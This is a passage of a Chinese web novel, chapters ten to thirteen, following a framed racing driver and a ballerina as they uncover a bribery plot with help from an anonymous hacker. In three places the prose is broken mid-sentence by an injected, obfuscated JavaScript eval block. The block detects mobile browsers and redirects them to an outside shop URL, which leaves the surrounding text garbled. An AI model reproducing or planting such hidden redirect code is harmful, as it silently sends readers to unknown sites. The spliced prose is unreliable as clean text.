江砚辞沉默。他想起一些模糊的片段——三年前,他被媒体围堵最严重的时候,曾有个陌生号码发来短信:“坚持住,有人在查真相。”他没理会,以为是恶作剧。 后来母亲去世那晚,他又收到同号码的消息:“你母亲很勇敢。保重。” 当时他悲痛欲绝,也没深究。 现在想来,或许从那时起,就有人在暗处看着这一切。 “不管是谁,”江砚辞关闭邮件,“他给了我们最需要的东西。先解决眼前的问题——明天轮胎店的麻烦。” 第二天上午,轮胎店果然来了三个不速之客。 领头的是个光头,脖子有纹身,自称是“附近商业协会”的,说轮胎店消防不合格,要停业整顿。 老K正跟他们周旋时,江砚辞和苏晚晚到了。 “消防不合格?”江砚辞扫了一眼那几人,“有检查通知单吗?有消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004277|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 防部门的公章吗?” 光头语塞,随即强硬:“我说不合格就不合格!今天必须关店!” 苏晚晚拿出手机,打开录像:“你们是哪个单位的?工牌出示一下。没有合法手续强制关店,我报警了。” “你谁啊?”光头瞪她。 “路过市民。”苏晚晚微笑,“记录一下行政执法过程,不行吗?” 光头身后一个小弟突然指着她:“老大,这女的好像是……苏氏航运的那个千金?” 光头的表情变了变。他显然没想到会碰上硬茬。 就在这时,一辆黑色轿车停在巷口。车上下来两个穿西装的男人,径直走到光头面前,亮出证件。 “市局经侦支队的。”为首的男人说,“你们涉嫌敲诈勒索,跟我们走一趟吧。” 光头脸色大变:“警官,误会!我们就是来提醒消防……” “提醒需要带棍子?”警察瞥了眼他们藏在身后的钢管,“别废话,上车。” 三人被带走了。整个过程不到五分钟。 老K愣在原地:“这……警察来得也太及时了吧?” 江砚辞看向苏晚晚,她摇头:“不是我报的警。” 两人对视,心里都明白——是那个匿名者。 处理完轮胎店的事,他们回到修车铺。刚进门,江砚辞的手机响了,是周予琛律师。 “砚辞!”周律师声音激动,“我刚收到一份匿名寄来的快递,里面是Vogel公司和徐朗的完整合同副本,还有他们操纵比赛的技术方案细节!这证据太关键了,可以直接提交国际仲裁庭!” “匿名快递?”江砚辞问,“寄件人信息呢?” “空白。但快递单号显示是从瑞士苏黎世寄出的。” 苏黎世。江砚辞想起林静文教授。 他挂了电话,立刻打给瑞士。林教授接得很快。 “林教授,我想问一下,您身边有没有……精通计算机和网络安全的朋友?” 电话那头沉默了几秒。 “为什么这么问?” “我们收到一些匿名帮助,技术手段很高明。对方似乎对我们的情况很了解。” 林教授又沉默了片刻。 “砚辞,”她缓缓说,“你母亲当年在瑞士,不只找了我一个人。她还找过一个……我们共同的老朋友。那个人欠你母亲很大的人情。” “他是谁?” “我不能说。”林教授声音很轻,“他身份特殊,不能露面。但你母亲帮过他,所以他承诺,会在你需要的时候出手。这或许就是他的方式。” “他是什么样的人?” “一个活在暗处的人。”林教授顿了顿,“信息工程师,人脉很广,手段……有时候不那么合规。但你母亲信任他,说他骨子里有底线。” 电话挂断后,江砚辞久久不语。 苏晚晚递给他一杯水:“有线索了?” “嗯。”江砚辞接过水杯,“一个活在暗处的朋友。母亲留给我的……另一份遗产。” 他走到工作台前,打开那个装有母亲遗物的铁盒。除了腕表和笔记本,底层还有一张很小的合影——母亲年轻时,和两个女孩的合照。除了林静文,另一个女孩戴着墨镜,看不清脸,但气质冷冽。 照片背面写着一行字:“与静文、阿影,苏黎世,1985。” 阿影。 江砚辞把这个名字记在心里。 傍晚,苏晚晚在舞蹈房练功。今天她跳的是《天鹅湖》黑天鹅的变奏,但做了改编——融入了一些赛车手起跑时的预备动作,转身时肩膀的发力方式也变了。 跳到一半,她突然停下,看向镜子。 镜子里,她的背后,窗户对面的那栋空置楼,三楼的窗帘动了一下。 她想起匿名者的消息:“监视点已处理。” 但刚才那一动…… 她不动声色地继续跳,但动作间悄悄靠近窗户。突然,她猛地拉开窗户,探出身—— 对面三楼,一个男人正慌张地收起望远镜。看到她发现,转身就跑。 苏晚晚记下了那人的身形和衣服颜色。 她关窗,锁好,心跳有点快。但奇怪的是,并不害怕。 因为知道,暗处不止有敌人。 还有那个神秘的“阿影”。 还有江砚辞。 她拿起手机,给他发消息: **“对面监视的人又出现了,但跑了。需要加强警惕。”** 江砚辞秒回: **“我知道。陈曜在附近安排了人。你今晚别单独住,来修车铺二楼。”** 苏晚晚看着这条消息,脸颊微微发热。 **“好。”**她回复。 收拾东西时,她看到窗台上那只纸鹤。晨光中折的,现在已经蒙上薄薄的灰尘。 她吹掉灰尘,纸鹤在掌心轻轻颤动。 就像某些刚刚破土而出的东西,脆弱,但顽强。 11. 第十一章 第十一章反击的齿轮开始转动 提交给国际体育仲裁庭的证据包,在周予琛律师按下发送键的那一刻起,就成了一把悬在所有人头上的剑。 江砚辞很清楚,从这一刻开始,每分每秒都可能是徐朗反扑的窗口期。他让陈曜加强修车铺周围的监控,老K的轮胎店暂时歇业,苏晚晚的舞蹈房也装了红外警报器。 但最先做出反应的,不是徐朗,是苏父。 周一下午,苏晚晚刚结束排练,父亲的电话就打了过来,语气前所未有的严厉:“马上回家。现在。” 她看了眼等在剧院门口的江砚辞,低声说:“我爸找我。” “我送你。” “不用。”苏晚晚摇头,“这时候你出现,只会激化矛盾。我自己去。” 江砚辞沉默片刻,从车里拿出一个小型定位器:“带上这个。如果有任何不对劲,按中间的按钮。” 那是个黑色纽扣大小的装置,边缘有微弱的光泽。苏晚晚接过,握在掌心:“好。” 车子驶向苏家老宅。那是南城最早的一批西式别墅,红砖墙爬满常青藤,铁艺大门厚重。苏晚晚小时候觉得这里像城堡,现在只觉得像笼子。 书房里,苏柏年背对着门口,站在落地窗前。听到她进来,转身,脸色阴沉。 “你和江砚辞,到什么程度了?” 开门见山,连寒暄都省了。 苏晚晚在沙发坐下,姿态放松,但脊背挺直:“朋友,兼技术指导。我在跟他学赛车相关的身体控制,对舞蹈有帮助。” “别跟我打马虎眼。”苏柏年走到书桌前,扔出一沓照片——全是她和江砚辞的近期同框。在修车铺门口,在巷口便利店,甚至有一张是瑞士苏黎世街头,两人并肩走着的背影。 拍摄角度隐蔽,但清晰度很高。 “陆文渊送来的。”苏柏年盯着她,“他说你最近和‘污点人物’走得太近,影响不好。晚晚,你是苏家的女儿,是国家大剧院的首席,做事要有分寸。” 苏晚晚拿起照片,一张张翻看。拍得很好,甚至捕捉到了她在江砚辞身边时,脸上那种罕见的放松表情。 “所以呢?”她抬头,“我和谁交朋友,需要陆文渊批准?” “他是你未来的丈夫。”苏柏年声音提高,“陆苏两家的联姻,不是儿戏!你母亲生前也——” “别提我母亲。”苏晚晚打断他,声音冷下来,“如果她还活着,不会逼我嫁给我不爱的人。” 苏柏年愣住了。这是女儿第一次用这种语气和他说话。 书房里静得能听见古董座钟的滴答声。 许久,苏柏年叹了口气,语气软了些:“晚晚,爸爸是为你好。江砚辞那孩子……我查过,三年前的事没那么简单。但就算他是被冤枉的,翻案要多久?要付出多少代价?你跟着他,只会一起被拖进泥潭。” 他走到女儿面前,蹲下,看着她的眼睛:“陆文渊至少能给你安稳的生活。陆远集团的实力,能保护你一辈子衣食无忧。” “我不需要别人保护。”苏晚晚直视父亲,“我能保护自己。而且,安稳的生活……爸,你当年娶妈妈,是因为她能给你安稳吗?” 苏柏年脸色一变。 “我记得妈妈说过,你追她的时候,她只是个舞蹈团的替补,你家里所有人反对。”苏晚晚声音很轻,“但你跟爷爷说,要么娶她,要么放弃继承权。那时候,你怎么不怕‘被拖进泥潭’?” 这话像一记闷棍,打在苏柏年心上。 他站起身,走到窗边,背影有些佝偻。 “那不一样。”他声音沙哑,“时代不同了。而且陆文渊……他答应我,只要你嫁过去,他会全力支持你跳舞,给你建专属剧院,让你想跳什么就跳什么。” 苏晚晚笑了,笑容里有点悲哀:“用自由换自由?爸,这不叫交易,这叫绑架。” 她站起来,走到父亲身边,和他一起看着窗外的花园。母亲最爱的白玫瑰开了,在暮色里像一团团柔软的云。 “妈去世前跟我说过一句话。”苏晚晚轻声说,“她说,晚晚,婚姻不是避风港,而是两个人一起出海。船可能会翻,风暴可能会来,但最重要的是——你们要看着同一个方向。” 她转头,看着父亲:“我和江砚辞,看着同一个方向。我和陆文渊,连船都不是同一条。” 苏柏年久久不语。 最后,他挥了挥手:“你先回去吧。这件事……我再想想。” 苏晚晚走到门口,停下,回头:“爸,有件事我一直没问。妈妈和江砚辞的母亲……是不是认识?” 苏柏年的背脊明显僵了一下。 “谁告诉你的?” “江阿姨留下的视频里提到了。”苏晚晚说,“她说,如果我遇到江砚辞,帮忙照顾一下,因为妈妈和她曾是朋友。” 沉默像水一样漫开。 “是。”苏柏年终于承认,声音很轻,“她们年轻时是好友,一起在瑞士留学过。后来……发生了一些事,疏远了。你母亲去世前,还提起过江美玲,说欠她一个人情。” “什么人情?” “我不知道。”苏柏年摇头,“你母亲没说。但她说,如果以后江家有事,苏家要尽力帮忙。” 他转身,看着女儿:“所以晚晚,我不是完全反对你和江砚辞来往。但我担心……你现在对他的感情,是报恩,还是别的什么?别混淆了。” 苏晚晚没回答,只是点点头,推门离开。 回程的车里,苏晚晚给江砚辞打电话,简单说了情况。 “你父亲提到的人情,”江砚辞在电话那头沉吟,“可能和我母亲帮过你母亲有关。林教授说过,她们三个当年在瑞士,关系很好。” “三个?” “嗯,我母亲,林教授,还有一个叫‘阿影’的。”江砚辞顿了顿,“我怀疑那个匿名帮助我们的,就是阿影。” 车子停在红灯前。苏晚晚看着窗外流动的街景,突然问:“江砚辞,如果……我只是为了替我母亲还人情才帮你,你会怎么想?” 电话那头安静了几秒。 “那不重要。”江砚辞的声音很稳,“动机不重要,结果才重要。而且——” 他停顿。 “而且什么?” “而且我相信你的判断。”他说,“如果你只是报恩,不会做到这一步。” 绿灯亮了。苏晚晚踩下油门,嘴角不自觉地扬起。 “对了,”江砚辞说,“仲裁庭那边有动静了。周律师刚接到通知,FIA决定成立独立调查组,重启三年前的案子。最迟下周,会正式传唤徐朗。” “这么快?” “匿名者提供的证据太硬了。”江砚辞声音里有一丝压抑的激动,“银行转账记录、内部邮件、甚至还有徐朗和Vogel代表的加密聊天截图。这些足以证明他收受贿赂、篡改数据、制造伪证。” “那你的污名……” “调查结果出来之前,还是待定。”江砚辞说,“但至少,现在有人愿意听了。” 挂了电话,苏晚晚把车停在路边,打开车窗。夜风吹进来,带着初夏的暖意。 她想起父亲的话,想起母亲的白玫瑰,想起江砚辞在修车铺二楼熬夜整理证据时专注的侧脸。 然后她启动车子,没有回家,也没有去修车铺,而是拐上了另一条路。 她要去见一个人。 陆文渊的私人会所藏在郊区的竹林里,需要提前预约才能进入。但苏晚晚报上名字后,门卫直接放行了。 陆文渊正在茶室煮水,见她进来,微微一笑,仿佛早有预料。 “我就知道你会来。”他示意她坐下,“你父亲给你压力了?” 苏晚晚没接话,只是看着茶台上那套昂贵的紫砂壶:“陆先生,我们开门见山吧。你要苏家的女儿,到底是为了什么?” 陆文渊倒茶的动作顿了顿。 “我以为我表现得很明显。”他把茶杯推过来,“我喜欢你,晚晚。从三年前在维也纳看你跳舞开始。” “喜欢到要和徐朗做交易?”苏晚晚从包里拿出手机,调出匿名者提供的邮件截图,推到陆文渊面前,“‘陆的条件是——要苏家的女儿’。这句话,怎么解释?” 陆文渊脸上的笑容消失了。 他盯着屏幕看了很久,然后慢慢放下茶壶。 “你比我想象的厉害。”他说,“居然能拿到Vogel的内部邮件。” “所以这是真的。” “半真半假。”陆文渊端起茶杯,抿了一口,“我确实和Vogel有合作。他们想通过苏氏航运的港口建研发中心,我需要他们的资金和技术。联姻,是最稳固的合作方式。” 他抬眼,看着苏晚晚:“但我对你的兴趣,是真的。只不过……顺便满足了商业需求。” “顺便。”苏晚晚重复这个词,笑了,“陆先生,你把我当什么了?一个‘顺便’的赠品?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004278|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “当然不是。”陆文渊身体前倾,眼神变得锐利,“晚晚,你跟着江砚辞能有什么未来?他是个被行业除名的人,就算翻案了,也回不到巅峰了。而且他那个性格,注定会得罪更多人。” “至少他真诚。”苏晚晚站起来,“不会把人当成交易的一部分。” 她转身要走。 “晚晚。”陆文渊叫住她,声音冷下来,“你以为江砚辞能保护你?他现在自身难保。徐朗背后不只是Vogel,还有更麻烦的人。如果你们继续挖下去……” 他停顿,一字一句地说:“可能会挖出一些,所有人都不想看到的东西。” 苏晚晚回头:“比如?” 陆文渊笑了,笑容里有点残忍:“比如,你母亲当年为什么和江美玲决裂。比如,江砚辞父亲的车祸,真的只是意外吗?比如……你以为江砚辞接近你,完全没有其他目的?” 每一个问句都像一把刀。 苏晚晚的手指收紧,但脸上没什么表情。 “谢谢提醒。”她说,“但我习惯自己找答案。” 她走出茶室,穿过竹林,夜风吹得竹叶沙沙作响。走到停车场时,手机震动,是江砚辞发来的消息: **“你在哪?定位显示你在郊区。”** 她回复: **“见了陆文渊,刚出来。他提到了一些事……关于我们母亲的。”** 江砚辞的电话立刻打了过来。 “他跟你说了什么?” 苏晚晚坐进车里,关上车门,把陆文渊的话复述了一遍。 电话那头沉默了很久。 “晚晚,”江砚辞的声音很沉,“有件事我一直在查,但没告诉你。我父亲车祸那年,你母亲……也在那辆公交车上。” 苏晚晚的呼吸停了。 “什么?” “她是乘客。”江砚辞说,“事故发生后,她受了轻伤,但一直帮忙照顾重伤的乘客,直到救护车来。我父亲被救出来时,已经不行了,但她握着他的手,陪他到最后。” 苏晚晚的手在发抖。 “我母亲后来去看过你母亲,感谢她。”江砚辞继续说,“她们就是从那时候开始熟悉的。但具体为什么后来疏远……我不知道。” “陆文渊暗示,你父亲的车祸可能不是意外。”苏晚晚艰难地说,“如果这是真的……” “那我们的母亲,可能都发现了什么。”江砚辞接上她的话,“然后,一个病逝,一个远走瑞士,留下未解的谜团。” 夜色浓重,竹林在车灯照射下投出摇曳的影子。 苏晚晚突然觉得很冷。 “江砚辞,”她低声说,“我们会不会……掀开一个我们承受不起的真相?” 电话那头传来江砚辞深呼吸的声音。 “可能。”他说,“但如果我们现在停下,就永远活在别人的算计里。晚晚,我选择继续。但你……你可以退出。” 苏晚晚看着车窗上自己的倒影。 那个曾经只知道跳舞的女孩,现在眼里有了别的东西——坚定,还有一丝狠劲。 “我不退出。”她说,“我妈欠你妈的人情,我还。我欠你的……” 她停顿。 “我欠你的,不止人情。” 电话那头,江砚辞的呼吸明显重了一下。 “你在哪?”他问,“我来接你。” “不用。”苏晚晚启动车子,“我回修车铺。有些事,我们得一起捋清楚。” 车子驶出竹林,汇入主干道的车流。 而茶室里,陆文渊站在窗前,看着远去的车灯,拨通了一个国际长途。 “她比我们想的难搞。”他对着电话说,“江砚辞那边动作很快,仲裁庭已经介入了。” 电话那头传来德语,语速很快。 陆文渊听着,脸色越来越沉。 “非要走到那一步吗?”他最后说,“她毕竟是我要娶的人。” 又一阵德语。 陆文渊闭上眼睛,再睁开时,眼里只剩冰冷。 “好。”他说,“按计划B执行。” 他挂了电话,从保险柜里取出一个档案袋。封面上手写着两个字:**“影踪”**。 里面是几十页资料,最上面是一张老照片——三个年轻女孩在苏黎世湖边的合影,笑容灿烂。 他的手指抚过其中一张脸。 “阿影。”他喃喃自语,“你还要藏多久?” 12. 第十二章 第十二章发布会与黑暗中的手 国际体育仲裁庭决定重启调查的消息,在第二天清晨登上了体育版头条。但让江砚辞没想到的是,配图不是他当年夺冠的照片,而是昨天在修车铺门口,苏晚晚踮脚为他整理衣领的抓拍。 标题很刺眼:《污点车手与芭蕾千金的危险游戏》。 文章用看似客观的笔调,重提三年前的丑闻,强调“案件仍有争议”,并暗示苏晚晚被“蒙蔽利用”。评论区迅速沦陷,一半在骂江砚辞“骗子滚出赛车界”,一半在嘲讽苏晚晚“恋爱脑毁前程”。 江砚辞关掉网页时,手指关节微微发白。 “陆文渊的手笔。”苏晚晚站在他身后,声音平静,“他控制着几家体育媒体的股份。这是计划B的第一步——舆论施压,逼你退缩,也逼我父亲加大干预。” “你父亲那边……” “昨晚发了条长微信,我没回。”苏晚晚拿起车钥匙,“但今天我得去剧院。新舞剧的赞助商会议,陆文渊也会到场。” 江砚辞起身:“我送你。” “不用。”她按住他肩膀,“你现在露面,正好给他们提供新素材。而且——”她顿了顿,“我安排了人。” 陈曜从楼下探出头,咧嘴一笑:“我找了几个跑越野赛的兄弟,开着重型皮卡,今天专门给苏小姐当保镖车队。保证拉风又安全。” 江砚辞看着苏晚晚,她眼里有不容置疑的决断。 这种神情,他曾经在镜子里见过——比赛日早晨,戴上头盔前最后一刻的眼神。 “小心。”他说。 “你也是。”苏晚晚走到门口,回头,“下午媒体发布会,周律师都安排好了。但你要有准备——他们的问题会很难听。” “我习惯了。” “但这次不一样。”苏晚晚轻声说,“这次你有我。所以不用一个人扛。” 门关上。楼下传来重型引擎的轰鸣声,渐行渐远。 江砚辞在原地站了一会儿,然后走到工作台前,打开抽屉。最底层压着一张泛黄的参赛证——2018年比利时斯帕站,照片上的他二十二岁,眼里有灼人的光。 那是母亲去世前,他赢的最后一个冠军。 他把参赛证放回去,锁上抽屉。 有些仗,终究要自己打。 下午两点的媒体发布会,设在市体育局新闻厅。周予琛律师动用了不少人脉,才争取到这个半官方场地,以示严肃性。 到场的媒体比预想的多。长枪短炮架起,江砚辞走上台时,快门声像密集的雨点。他穿了简单的白衬衫和黑西裤,没戴领带,右手下意识想插进口袋,但中途停住,垂在身侧。 周律师先做了案情简述,出示了部分证据的公证文件。然后是提问环节。 第一个记者就毫不客气:“江先生,你声称三年前是被构陷,但这些新证据的出现时机是否太巧?正好在你结识苏晚晚小姐、获得苏家关注之后?” 问题埋着毒刺——暗示他利用苏晚晚洗白。 江砚辞看向那个记者,对方的工牌属于一家陆远集团参股的媒体。 “证据的时机,取决于调查的进度。”他声音平稳,“至于苏小姐,她是在我人生最低谷时唯一伸出援手的人。把她的善意曲解为交易,是对她的侮辱。” 第二个问题更尖锐:“有消息称,你父亲的车祸可能也与商业竞争有关。你是否在借翻案炒作,为你家族争取舆论同情?” 台下微微骚动。江砚辞的手指收紧,但面色未变。 “我父亲是公交车司机,他的车祸由交警部门出具过正式报告。”他顿了顿,“但如果有人掌握新线索,我愿意配合任何调查。前提是——基于事实,而非谣言。” 第三个记者站了起来,是个年轻女孩,眼神里有种不容退让的认真:“江砚辞,我是《赛车周刊》的记者,三年前采访过你。那时候你说,赛车的意义是‘在极限处找到人与机械的共鸣’。现在呢?经历了这些,你还相信这个吗?” 问题出乎意料地柔软。 江砚辞沉默了几秒。新闻厅安静下来。 “更信了。”他开口,声音有些低,“因为后来我发现,比机械更复杂的,是人心。但同样地——”他抬起眼,目光扫过全场,“在人心最极限的黑暗处,也能找到光。我现在站在这里,就是因为有人成了我的光。” 他没有提名字,但在场所有人都知道他说的是谁。 提问环节又持续了二十分钟。周律师适时收尾,宣布调查进展将定期通过官网公布。 散场时,那个《赛车周刊》的女记者挤到前面,递上一张名片:“江先生,我们主编想约个专访。他说……你当年离开后,F1的赛场少了一种很珍贵的纯粹。” 江砚辞接过名片,看到主编的名字——韩东,他刚进车队时的随队记者,写过不少犀利但公正的报道。 “谢谢。”他说,“等我处理完眼前的事。” 走出新闻厅,阳光刺眼。陈曜靠在车边等他,竖起大拇指:“可以啊江老板,稳得像跑了十年发布会。” “装的。”江砚辞拉开车门,手心全是汗。 车子驶离体育局,陈曜突然说:“刚收到个消息。徐朗今天没去仲裁庭指定的地点接受问询,律师说他突发心脏病住院了。” “真病还是假病?” “私立医院,家属不让探视。”陈曜打方向盘,“但老K有个侄女在那家医院当护士,说看到徐朗病房外有保镖,不像普通病人。” 缓兵之计。江砚辞闭上眼睛。徐朗在拖时间,等陆文渊的下一步。 “去剧院。”他说,“苏晚晚的会议该结束了。” 剧院后台的赞助商会议,气氛比新闻发布会更诡异。 长桌一侧坐着剧院管理层和几位老牌赞助商,另一侧是陆文渊和他的助理。苏晚晚坐在中间,面前摊着舞剧预算表。 陆文渊全程微笑,但提出的每个条件都带着钩子:“追加投资可以,但舞剧的首演场地必须放在我新落成的艺术中心。”“服装设计我想推荐一位巴黎的设计师,他和Vogel集团有长期合作。”“海外巡演的部分,最好由陆远旗下的经纪公司代理。” 每一条都在渗透控制权。 苏晚晚等他说完,才开口:“陆先生的条件很慷慨,但舞剧的创作主导权必须在我。这是底线。” “当然。”陆文渊倾身,声音压低,“我只是想帮你走得更远。晚晚,你也知道,艺术圈最现实。没有资本护航,再好的作品也可能被埋没。” “如果作品够好,自己会发光。” 陆文渊笑了,笑意未达眼底:“那我们就看看,它能有多亮。” 会议在表面的和谐中结束。苏晚晚收拾文件时,陆文渊走到她身边,递来一个U盘:“这里面是那位巴黎设计师的作品集。对了——”他状似无意地说,“今天江砚辞的发布会,我看了。他提到‘光’的时候,表情很动人。你们……真的只是朋友?” 苏晚晚接过U盘,没回答。 陆文渊也不追问,只是轻轻叹了口气:“晚晚,你有没有想过,你可能只是他复仇计划里的一枚棋子?等他洗干净了,还能不能记住你这枚棋子的功劳?” “陆先生,”苏晚晚抬头,直视他,“下棋的人看谁都是棋子。但抱歉,我不是任何人的棋子,我是我自己人生的棋手。” 她转身离开,高跟鞋敲击大理石地面,声音清脆决绝。 陆文渊看着她的背影,眼神一点点冷下去。他对助理使了个眼色,助理点头,快步走向消防通道。 傍晚,苏晚晚在舞蹈房排练。新舞剧有一段高难度独舞,她需要完成连续二十四个挥鞭转,同时左肩要模拟机械齿轮卡顿的震颤感。 跳到第十八圈时,左肩旧伤开始刺痛。她咬牙继续,汗水滴在地板上。 镜子里的自己,表情因疼痛而扭曲,但眼睛里有团火。 手机在旁边震动,是江砚辞发来的消息:“在楼下。给你带了豆沙包。” 她停下,喘着气回复:“上来吧,门没锁。” 几分钟后,江砚辞推门进来,手里提着还温热的纸袋。看到她满身大汗的样子,皱了皱眉:“又超负荷训练?” “试试极限。”苏晚晚用毛巾擦脸,“发布会怎么样?” “过关。”江砚辞把豆沙包递给她,“但徐朗装病躲起来了。陆文渊今天有没有为难你?” 苏晚晚咬了口包子,甜糯的豆沙在舌尖化开:“常规施压。但他提到你的时候,语气很怪……好像知道什么我们不知道的事。” 江砚辞在她旁边坐下,背靠着镜子。镜子里映出两人并肩的身影,一个穿着汗湿的练功服,一个穿着发布会没换下的衬衫,有种奇异的和谐。 “我查了陆文渊的履历。”江砚辞说,“他留学德国时,在Vogel总部实习过半年。那段时间,正好是我父亲车祸前三个月。” 苏晚晚的手停在半空。 “你的意思是……” “没有证据。”江砚辞摇头,“只是时间巧合。但太多巧合,就不像巧合了。” 舞蹈房的灯突然闪了一下。 两人同时抬头。老旧建筑的电路问题很常见,但此刻却让人心头一紧。 江砚辞站起身,走到窗边。对面那栋空置楼的三楼,窗帘紧闭,但缝隙里似乎有反光——像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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匿名者A:徐朗医院地址已发你手机。他明早七点做检查,监护最弱。 匿名者A:小心舞蹈房。有人动了消防喷淋系统,目标可能是设备短路引发火灾。** 消息五秒后消失。 苏晚晚倒吸一口凉气。她想起那个虚掩的消防通道门。 江砚辞已经抓起手机打给陈曜:“马上带人去剧院舞蹈房,检查所有电路和消防系统!叫老K也过去,他懂这个!” 挂了电话,他看向苏晚晚:“匿名者又出手了。而且这次,他连陆文渊U盘里的追踪程序都知道。” “他在监视陆文渊?”苏晚晚猜测,“还是说……他就在陆文渊身边?” 江砚辞想起母亲照片上那个戴墨镜的女孩——阿影。 如果她真的身份特殊,潜入陆文渊身边并非不可能。 面渐渐凉了,但两人都没心思吃。 深夜十一点,陈曜打来电话,语气凝重:“真被说中了。舞蹈房的消防喷淋头被人拧松了,水管接口也动了手脚。要是明天你开水练舞,整层楼都可能被淹,而且电路在水里……后果不堪设想。” 苏晚晚后背发凉。这不再是舆论施压,是直接的人身威胁。 江砚辞握紧她的手,发现她指尖冰凉。 “明天,”他说,“我去见徐朗。” “太危险了。医院都是他的人。” “正因为是他的人,才要去。”江砚辞眼神沉静,“我要让他知道,躲没用。而且——我想亲口问问他,三年前我母亲去找他的时候,他们到底说了什么。” 苏晚晚看着他。灯光下,他眼里的坚定像淬火的钢。 她突然明白了,为什么当年他能成为最年轻的三连冠。 不是天赋,是这种一旦认准就绝不回头的狠劲。 “我跟你一起去。”她说。 “不行。” “我必须去。”苏晚晚站起来,“陆文渊的目标是我,徐朗一定知道内情。而且——”她停顿,“如果我出现,徐朗可能会更慌乱。人在慌乱时,容易说错话。” 江砚辞还想反驳,但看到她眼里的光,话咽了回去。 他知道,他拦不住她。 就像她拦不住他一样。 “好。”他最终说,“但跟紧我。” 窗外,夜色浓如墨。远处传来救护车的鸣笛声,由远及近,又由近及远。 在这个看似平静的夜晚,暗处的齿轮已经开始咬合。 而他们,正站在齿轮转动的中心。 13. 第十三章 第十三章病房对峙 私立医院的VIP楼层安静得可怕。 走廊铺着吸音地毯,壁灯调成柔和的暖黄色,空气中弥漫着消毒水和昂贵香薰混合的味道。江砚辞和苏晚晚在凌晨六点四十分抵达,这个时间连护士站都只有一个人在打盹。 徐朗的病房在走廊尽头,门牌写着“重症监护观察室”。门口确实有两个保镖,但此刻一个在玩手机,一个靠着墙打哈欠——完全不像防备严密的阵仗。 陈曜提前黑掉了这层的监控,老K带着几个车友在楼下停车场待命,随时准备接应。 江砚辞和苏晚晚穿着护士和护工的衣服——是唐果从她医学院朋友那儿搞来的,还算合身。两人推着治疗车,低头走向病房。 保镖瞥了他们一眼,没阻拦。 推门进去,病房宽敞得像酒店套房。徐朗靠坐在病床上,脸色红润,正用平板电脑看股票行情,手边还放着半杯红酒。听到动静,他抬起头,脸上闪过一瞬的惊愕,随即恢复平静。 “比我想的快。”他放下平板,挥挥手让旁边陪护的护士出去,“但带她来……有点冒险了吧,砚辞?” 门关上。房间里只剩下三个人。 江砚辞摘下口罩,走到床边,目光扫过监控生命体征的仪器——所有数据都正常,心率甚至比常人还稳。 “装病也得专业点。”他声音冷淡,“心率降到五十以下,血压偏低,才像心脏病发。” 徐朗笑了,端起红酒抿了一口:“年轻人就是较真。不过你来也好,有些事……确实该当面说清楚。” 他看向苏晚晚:“苏小姐,又见面了。你比小时候更像你母亲了。” 苏晚晚脊背一僵:“你认识我母亲?” “何止认识。”徐朗放下酒杯,“你母亲林薇,和江美玲、林静文,当年在苏黎世号称‘东方三茉莉’。我那时候在瑞士做访问学者,追过你母亲——当然,失败了。” 这信息来得太突然。苏晚晚看向江砚辞,他显然也不知道。 “所以你们早就认识。”江砚辞声音沉下来,“那我父亲的车祸——” “那是意外。”徐朗打断他,语气突然变得严肃,“不管你信不信,江工的车祸,真的是意外。我虽然想要他的算法,但没想过要他的命。” “但你在事故前两周,动过他的车。”江砚辞拿出手机,调出李教授提供的维修记录照片,“刹车片是你换的。” 徐朗脸色变了变。 “那是例行保养。”他辩解,“车队的规定,重要技术人员的车辆要定期检查。我只是按程序办事。” “然后‘恰好’在检查后两周,刹车失灵?”江砚辞往前一步,手撑在病床栏杆上,“徐工,我不是三年前那个你说什么我就信什么的傻子了。” 气氛骤然紧绷。 苏晚晚按住江砚辞的手臂,示意他冷静。她转向徐朗,声音平缓:“徐先生,我们今天来,不是要翻旧账。是想知道,三年前构陷江砚辞的事,除了你和Vogel公司,还有谁参与?” 徐朗盯着她看了几秒,突然笑出声:“苏小姐,你比看起来聪明。但这个问题……我不能回答。” “为什么?” “因为有些人,你们惹不起。”徐朗收敛笑容,眼神变得复杂,“砚辞,听我一句劝,翻案就翻案,拿回你的名誉就够了。别再往下挖了。你母亲……她当年就是因为挖太深,才惹上不该惹的人。” 江砚辞的瞳孔收缩:“什么意思?” 徐朗沉默良久,从枕头下摸出一个小铁盒,打开,里面是一枚老式U盘。 “这是你母亲当年给我的。”他声音低下来,“她查出我和Vogel的交易,拿着这个来找我。里面是我收钱的证据。她说,如果我愿意去自首,指证Vogel,她可以保我儿子平安读完牛津。” 他苦笑着摇头:“我拒绝了。我说他们势力太大,我们斗不过。她那时候已经病得很重,但还是站得笔直,说:‘徐朗,人这辈子总要选一次对的方向。’” 江砚辞接过U盘,指尖冰凉。 “后来呢?” “后来她走了。”徐朗看向窗外渐亮的天色,“三天后,我儿子在牛津的宿舍收到一个匿名包裹,里面是他在国内打架斗殴的‘证据’——足够他被开除学籍遣返的那种。附言只有一句:‘还有下一次。’” 